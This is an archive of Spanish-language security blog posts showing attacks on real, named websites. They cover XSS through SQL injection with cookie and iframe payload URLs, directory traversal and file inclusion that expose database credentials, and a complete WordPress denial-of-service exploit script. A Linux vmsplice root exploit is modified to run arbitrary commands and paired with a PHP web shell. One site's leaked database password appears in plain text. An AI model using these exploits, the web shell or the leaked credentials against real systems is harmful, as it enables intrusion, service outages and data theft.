El rincón de Zerial » vulnerabilidad

Explotar XSS mediante SQL Injection

Zerial — Sat, 30 Jan 2010 19:39:53 +0000

Para complementar un poco lo que publicó d3m4s1@d0v1v0 en ITFreekZone sobre el Reflected XSS mediante SQL Injection, me gustaría demostrarles otra manera de realizar Cross-Site Scripting aprovechandose de una vulnerabilidad de inyección SQL.
La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas simples o dobles, o similar, basta con que podamos generar un error por lado del servidor por ejemplo cambiando un número (id) por una letra (en el caso de oracle, sql server u otros que tengan problemas de compatibilidad por el tipo de dato pasado), agregas signos raros o una comilla obligando a que el servidor arroje un error de sintáxis, lo que vamos a hacer es insertar código javascript justo donde se genera el error sql.

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
(puede leer más sobre esto en un post que publiqué hace un tiempo)
Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

Compartir/Guardar

FPD en WordPress no es considerado un error

Zerial — Sat, 14 Nov 2009 15:42:15 +0000

Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta:

We consider path disclosures a server configuration error. WordPress
files don’t protect against disclosing paths when directly loaded.

En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.
Pueden leer un hilo donde se discute sobre el tema.

Compartir/Guardar

Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress

Zerial — Sun, 18 Oct 2009 13:50:59 +0000

jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.

El exploit:

< ?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}
if(count($data) == 2) {
$path = ”;
} else {
$path = $data[‘path’];
}
$path = trim($path,’/‘);
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}
$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);
$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;
$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}
fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);
echo “hit!\n”;
$count++;
}
?>

La solución:

Cambiar

$charset = $_POST[‘charset’];

Por

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Compartir/Guardar

Vulnerabilidad en la mayoría de los plugins para WordPress

Zerial — Mon, 28 Sep 2009 12:34:23 +0000

Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al “Hello Dolly” y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:

Fatal error: Call to undefined function add_action() in /home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php on line 26

Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.

Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:

< ?php
function akismet_init() {
global $wpcom_api_key, $akismet_api_host, $akismet_api_port;
if ( $wpcom_api_key )
$akismet_api_host = $wpcom_api_key . ‘.rest.akismet.com’;
else
$akismet_api_host = get_option(‘wordpress_api_key’) . ‘.rest.akismet.com’;
$akismet_api_port = 80;
add_action(‘admin_menu’, ‘akismet_config_page’);
add_action(‘admin_menu’, ‘akismet_stats_page’);
akismet_admin_warnings();
}
add_action(‘init’, ‘akismet_init’);
function akismet_admin_init() {
if ( function_exists( ‘get_plugin_page_hook’ ) )
$hook = get_plugin_page_hook( ‘akismet-stats-display’, ‘index.php’ );
else
$hook = ‘dashboard_page_akismet-stats-display’;
add_action(‘admin_head-’.$hook, ‘akismet_stats_script’);
}
add_action(‘admin_init’, ‘akismet_admin_init’);
?>

Sólo en esas líneas se hace unas cuantas veces la llamada a la función “add_action()” que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en hello.php y en muchos otros plugins muy usados.

Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:

find . -name "*.php" -exec grep -H add_action {} \;

Y obtendremos un resultado como el siguiente:

./wp-gravatar/gravatars.php:add_action(‘admin_menu’, ‘gravatar_admin_menu’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_authdescription_init’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_recent_comments_gravatars_register’, 1);
./smart-youtube/smartyoutube.php:add_action(‘admin_menu’, ‘yte_add_pages’);
./smart-youtube/smartyoutube.php:add_action( ‘plugins_loaded’, ‘yte_install’ );
./smart-youtube/smartyoutube.php:add_action( ‘after_plugin_row’, ‘yte_check_plugin_version’ );
./chili-code-highlighter/chili-code-highlighter.php:add_action( ‘plugins_loaded’, create_function( ”, ‘global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();’ ) );
./wp-db-backup/wp-db-backup.php:add_action(‘plugins_loaded’, ‘wpdbBackup_init’);
./subscribe2/counterwidget.php:add_action(‘plugins_loaded’, ‘widget_s2counter_init’);
./add-to-any/add-to-any.php:add_action(‘init’, ‘A2A_SHARE_SAVE_textdomain’);
./add-to-any/add-to-any.php:add_action(‘the_content’, ‘A2A_SHARE_SAVE_to_bottom_of_content’, 98);
./add-to-any/add-to-any.php:add_action(‘wp_head’, ‘A2A_SHARE_SAVE_button_css’);
./add-to-any/add-to-any.php:add_action(‘admin_head’, ‘A2A_SHARE_SAVE_admin_head’);
./add-to-any/add-to-any.php:add_action(‘admin_menu’, ‘A2A_SHARE_SAVE_add_menu_link’);
./creative-commons-license-widget/ccLicense.php:add_action(‘widgets_init’, ‘widget_ccLicense_init’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘init’, ‘init_textdomain’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘admin_menu’, ‘wp_add_related_posts_options_page’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( ‘save_post’, ‘vc_twit’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(‘admin_menu’, ‘vc_addTwitterAdminPages’);
./simplepie-core/simplepie_core.php:add_action(‘admin_menu’, ‘simplepie_core_options’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘publish_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘save_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_page_form’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘init’, array($aiosp, ‘init’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘wp_head’, array($aiosp, ‘wp_head’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘template_redirect’, array($aiosp, ‘template_redirect’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, array($aiosp, ‘admin_menu’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, ‘aiosp_meta_box_add’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( ‘admin_notices’, ‘aioseop_activation_notice’);
./google-analyticator/google-analyticator.php:add_action(‘admin_init’, ‘ga_admin_init’);
./google-analyticator/google-analyticator.php:add_action(‘admin_menu’, ‘add_ga_option_page’);
./google-analyticator/google-analyticator.php:add_action(‘init’, ‘ga_outgoing_links’);
./google-analyticator/google-analyticator.php:add_action(‘plugin_action_links_’ . plugin_basename(__FILE__), ‘ga_filter_plugin_actions’);
./google-analyticator/google-analyticator.php:add_action(‘wp_ajax_ga_ajax_accounts’, ‘ga_ajax_accounts’);
./google-analyticator/google-analytics-stats-widget.php:add_action(‘widgets_init’, ‘GoogleStatsWidget_init’);
./akismet/akismet.php:add_action(‘init’, ‘akismet_init’);
./akismet/akismet.php:add_action(‘admin_init’, ‘akismet_admin_init’);
./akismet/akismet.php:add_action(‘wp_set_comment_status’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘edit_comment’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘preprocess_comment’, ‘akismet_auto_check_comment’, 1);
./akismet/akismet.php:add_action(‘admin_menu’, ‘akismet_manage_page’);
./akismet/akismet.php:add_action(‘activity_box_end’, ‘akismet_stats’);
./akismet/akismet.php:add_action(‘rightnow_end’, ‘akismet_rightnow’);
./akismet/akismet.php:add_action(‘manage_comments_nav’, ‘akismet_check_for_spam_button’);
./akismet/akismet.php:add_action(‘admin_action_akismet_recheck_queue’, ‘akismet_recheck_queue’);
./akismet/akismet.php:add_action(‘init’, ‘widget_akismet_register’);
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(‘admin_menu’, ‘dl_reg_admin’);
./flickr-widget/flickr_widget.php:add_action( “init”, “flickr_widgets_init” );

La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:

wp-gravatar
smart-youtube
chili-code-highlighter
wp-db-backup
subscribe2
add-to-any
creative-commons-license-widget
wordpress-23-related-posts-plugin
twitter-updater-using-tinyurl
simplepie-core
all-in-one-seo-pack
google-analyticator
akismet
source-code-syntax-highlighting-plugin-for-wordpress
flickr-widget

Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:

if(function_exists(‘add_action’)) {
[…]
}

Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.

Si lo miramos desde otro punto de vista, podríamos llegar a escalar el problema y decir que gran parte de la responsabilidad la tiene WordPress, todos los plugins deberían pasar por un test de calidad donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:

if(WORDPRESS_ENVIRONMENT == 1)

Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.

Compartir/Guardar

La vulnerabilidad Full Path Disclosure …

Zerial — Thu, 24 Sep 2009 03:38:07 +0000

Según OWASP:

Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.

Según Acunetix:

Description
By injecting unexpected data into a parameter. it’s possible to generate an error that will reveal the full path of the script.

Impact
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que publiqué hace un tiempo del sitio de Veramonte, en el cual la combiné con una Directory Transversal.

La clásica forma para lograr explotar esta vulnerabilidad es transformando las variables sospechosas pasadas por GET a arreglos, por ejemplo: http://sitio.com/index.php?module=login&action=blabla → http://sitio.com/index.php?module[]=login&action=blabla. Seguramente, si el sitio está mal desarrollado, lo que hará el sistema es intentar incluir el archivo “login”,”login.php”, “login.inc.php”, etc obteniendo el nombre del fichero desde la variable “module” y si esta variable es un arreglo, mostrará un error o un warning donde podremos ver el path completo del sitio.
Otra forma muy común es, teniendo el mismo caso anterior, remplazar “login” por cualquier cosa: http://sitio.com/index.php?module=asioansiuabnasi&action=blabla, entonces el sistema intentará incluir el fichero “asioansiuabnasi” y como no existe, pues mostraráun warning o error.

Este error nos puede otorgar información como el nombre de usuario, nombre del framework o del “sistema” que se está usando y ruta física donde se encuentra. Este método nos va a servir para buscar otras “puertas de entradas” al sitio web, por ejemlo mediante la dirección IP y el nombre de usuario: http://200.55.55.55/~usuario pudiendo generar otro tipo de errores o buscar otro tipo de vulnerabilidades.

Hace un tiempo descubrí un bug (hasta el momento no estaba reportado) en un plugin para WordPress muy usado, que me revela la ruta exácta de la instalación del CMS. Pronto escribiré algo al respecto.

Compartir/Guardar

Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal

Zerial — Sat, 22 Aug 2009 00:35:43 +0000

Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.

Habien dicho todo esto, llego el momento de la acción. Wanna rock?

El sitio que usaremos será el de Veramonte y las vulnerabilidades que explotaré enseñaré son Full Path Disclosure y Directory Transversal (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).
Como primer paso, ingresaremos al sitio http://www.veramonte.cl y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:

http://www.veramonte.cl/archivo/archivo2.php?cat=bodega

Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:
http://www.veramonte.cl/admin/download.php?path=

Mis ojos se dirigieron directamente a la variable “path” y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:

< ?php
$f = $_GET["path"];
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"$f\"\n");
$fp=fopen("$f", "r");
fpassthru($fp);
?>

Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un path disclosure introduciendo una ruta inválida, por ejemplo:
http://www.veramonte.cl/admin/download.php?path=asdfgh
Nos encontramos que php nos muestra el siguiente error:

Warning: fopen(asdfg) [function.fopen]: failed to open stream: No such file or directory in /var/www/veramonte/html/admin/download.php on line 5

Warning: fpassthru(): supplied argument is not a valid stream resource in /var/www/veramonte/html/admin/download.php on line 6

Con esto ya tenemos el full path al descubierto: /var/www/veramonte/html.
La cosa acá se pone divertida, descarguemonos el /etc/passwd:
http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd
Nos encontramos con la sorpresa de que el servidor está “protegido”:

Pero no importa, aún podemos seguir jugando. Descargamos el index.php para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.

Lo único que podemos rescatar el index es lo siguiente (código php):

//Conecta a BD testing
include("config/conex.php");
include("libreria/funciones.php");
//$conect = Conectarse();
session_start();
$secure = ‘%4f#.$$FUCK%%rt!89′;
if (isset($_POST["enviar"])) {
$username = $_POST["charkikan"];
$password = $_POST["cazuela"];
$password = sha1($username . sha1($password) . $secure);
//echo $username." – ".$password;
$sql_users = "SELECT * FROM v_usuarios WHERE username = ‘".$username."’ AND password = ‘".$password."’";
//echo $sql_users;
$resultado = mysql_query($sql_users);
if ($valor = mysql_fetch_array($resultado))
{
$_SESSION[‘user_sitio’] = "ON";
$_SESSION[‘nombre_user_sitio’] = $valor[1];
$_SESSION[‘apellido_user_sitio’] = $valor[2];
$_SESSION[‘privilegio_user_sitio’] = $valor[4];
echo "";
} else {
echo "\"Refresh\" CONTENT=\"10;URL=index.php\">";
}
}

La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y ……. bingo!!, lo tenemos:

< ?
function Conectarse()
{
if (!($link=mysql_connect("localhost","veramonte","v3r4m0nt3")))
{
echo "Error conectando a la base de datos.";
exit();
}
if (!mysql_select_db("veramonte",$link))
{
echo "Error seleccionando la base de datos.";
exit();
}
return $link;
}
?>

Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en http://veramonte.cl/phpmyadmin:

Creo que con esto, el objetivo ya está logrado.

Compartir/Guardar

Explotando vulnerabilidades LFI y Directory Transversal en un sitio web

Zerial — Sat, 18 Jul 2009 14:42:41 +0000

Una vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se parsea una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función “include”, “fread”, “file”, etc.

Son vulnerabilidades muy comunes y comprometen a todo el servidor, si un atacante con las capacidades necesarias puede obtener acceso al servidor hatsa ganar root.

Les voy a mostrar cómo hacerlo y el impacto que puede llegar a tener.
El sitio elegido es el de la “Ilustre Municipalidad de Castro”, sitio hecho en ASP puaj.

Antes de publicar todo esto, me di el trabajo de comunicarlo a los encagrados del sitio web sin obtener respuesta, por lo que asumo que no les interesa la seguridad y asi como yo, cualquier persona podría hacerle algo al sitio web o al servidor, asi que me di la libertad de tomar este sitio como ejemplo didactico.

Paso a paso

Navegamos el sitio buscando alguna vulnerabilidad, fijandonos en los links, formularios, etc. Si nos damos cuenta, situando el cursor sobre el menu de la izquierda podemos ver enlaces del tipo http://www.municastro.cl/?Seccion= por ejemplo http://www.municastro.cl/Cultura.asp?Seccion=cultura_resena_historica.htm lo que a simple vista parece ser vulnerable a LFI cambiando el valor de la variable “Seccion”. Probemos, cambiemos cultura_resena_historica.htm por cualquier texto:

Nos mostrará un mensaje como el siguiente:

Eso confirma nuestra teoría de que lo que hace el sistema es incluir directamente el archivo cuyo nombre es pasado mediante la variable Seccion, entonces empezamos a probar e intentamos incluir el mismo archivo Cultura.asp

Nos mostrará

Lo que claramente es el código fuente del fichero Cultura.asp. Para verlo un poco más claro podemos presionar control+u (en FF, para ver el código fuente) donde podremos ver

¿Se dieron cuenta? Hay un fichero que se incluye llamado conMuniCastro.inc, en el que, según yo, están los datos de conexion a la base de datos. Comprobemos mi teoría:

En la última linea de la imágen, podemos ver como el usuario y la password quedan a la vista de todos. Ahora lo único que queda, es buscar otros sitios alojados en el mismo servidor y empezar a incluir sus archivos para ver su código fuente e ir intentando ingresar por ftp, cpanel, etc hasta ganar algún tipo de acceso más privilegiado.

Compartir/Guardar

Información sensible expuesta publicamente en la UCV

Zerial — Fri, 29 May 2009 01:10:45 +0000

Al igual que en el post anterior, que hablaba sobre la vulnerabilidad en uno de los sitios de la Universidad de Chile, esta vez es el turno de la Universidad Catolica de Valparaiso (UCV), especificamente el campus virtual.

Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo “Este sitio esta en mantencion“, pero esto no es excusa. Dejar un directorio que contiene informacion sensible de clientes, empleados, empresa, alumnos, etc no puede estar publicado en internet con permisos de listar directorio habilitado. Existen varias formas de proteger el contenido de un directorio desde la configuracion del fichero .htaccess hasta algo tan simple como el crear un index.php|html|htm vacios, sin dejar de lado que se puede hacer agregado reglas de acceso a la configuracion del dominio.

Bueno, encontré un directorio con información sensible de alumnos de esa Universidad, quizas la informacion es un poco antigua pero que importa eso si ni el nombre ni el rut de las personas cambia. Intenté comunicar con la webmaster del sitio pero no obtuve respuesta.

En este caso, se han expuesto en internet datos de aproximadamente 2000 alumnos.

Informacion hecha publica por la UCV

En esa imagen podemos ver un poco de la informacion que aparece en el directorio vulnerable. Es un fichero separado por gatos (###) donde podemos ver que lo mas interesante son las columnas 3, 4, 5 y 6 que corresponden al rut, nombre completo de la persona, nombre de usuario y password respectivamente.

En este directorio podemos encontrar varios archivos mas, como un sistema empaquetado que si lo descargamos podremos ver su codigo fuente y posiblemente los datos de conexion a las bases de datos como usuario y contraseña, entre otras cosas.

Directorio vulnerable

Lo que se puede hacer con la informacion disponibles depende de la imaginacion que tenga cada uno. Yo no se como las entidades encargadas de proteger nuestra informacion caen en cosas tan basicas como estas. Por motivos de etica creo que no seria correcto que publicara la direccion de la web, aunque se que la si la googlean de la forma correcta, con los datos que les entregué, la encontrarán.

Compartir/Guardar

Vulnerabilidad en un sitio de la Universidad de Chile

Zerial — Tue, 26 May 2009 21:11:44 +0000

Se trata del sitio de la biblioteca virtual de la Facultad de Economia y Negocios (FEN) de la Universidad de Chile. Hace un par de dias descubri una vulnerabilidad del tipo path disclosure en http://bibliodoc.fen.uchile.cl.

La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse hacia el link podiamos ver:

Si modificabamos ese link, remplazando documento para descargar.pdf por alguna ruta a un archivo de sistema, podremos descargarlo. Por ejemplo

Con ../../../../ nos aseguramos retroceder lo suficiente para llegar a la raiz y con /etc/passwd le decimos al script download.php que nos entregue el fichero passwd, que guarda la informacion de usuarios de sistema. Obteniendo lo siguiente:

Dias despues de explotar y confirmar esta vulnerabilidad, me di el trabajo de comunicarles a los de soporte de ese sitio sobre este fallo obteniendo una respuesta en poco tiempo. Estaban muy agradecidos por haberles comunicado el problema. En unos minutos me agrego a gtalk/jabber el desarrollador del portal y me hizo unas preguntas, para saber como habia logrado explotar esa vulnerabilidad y en que consistia y, luego de haberle respondido algunas preguntas y haberlo ayudado, rapidamente solucionó el problema.

Las vulnerabilidades de tipo file/path disclosure son aquellas donde de alguna u otra forma podemos acceder a archivos del sistema que estan fuera del path de la web, como en este caso, por ejemplo si la web hubiese estado en /var/www/bibliodoc, mediante este bug pudimos acceder a un archivo ubicado en /etc/ que, claramente, esta fuera del directorio.

Compartir/Guardar

root exploit: Ejecutar comando como root

Zerial — Thu, 09 Oct 2008 04:39:21 +0000

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

51a52

> char *_cmd;

55d55

< printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));

182,183d181

<

< printf("[+] root\n");

185c183,184

< execl("/bin/bash", "bash", "-i", NULL);

—

> system(_cmd);

> //execl("/bin/bash", "bash", "-i", NULL);

195a195

> _cmd = argv[1];

202,205d201

< printf("———————————–\n");

< printf(" Linux vmsplice Local Root Exploit\n");

< printf(" By qaaz\n");

< printf("———————————–\n");

221,223d216

< printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

< printf("[+] page: 0x%lx\n", pages[0]);

< printf("[+] page: 0x%lx\n", pages[1]);

241,243d233

< printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

< printf("[+] page: 0x%lx\n", pages[2]);

< printf("[+] page: 0x%lx\n", pages[3]);

258,259d247

< printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

< printf("[+] page: 0x%lx\n", pages[4]);

269d256

< printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami root username@machine:~$

De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.

< ?PHP

print "

" method="post">

" type="text" />

" value="eXec!" />

";

if(isset($_POST[‘cmd’]))

{

print "30" rows="120">";</div> </li> <li class="li1"> <div class="de1"> <a href="http://www.php.net/print">print</a> <a href="http://www.php.net/shell_exec">shell_exec</a>("./root-exploit ".$_POST[‘cmd’]);</div> </li> <li class="li1"> <div class="de1"> <a href="http://www.php.net/print">print</a> "";

}

?>

Descargas
Variacion del exploit
Exploit original 1
Exploit original 2

Compartir/Guardar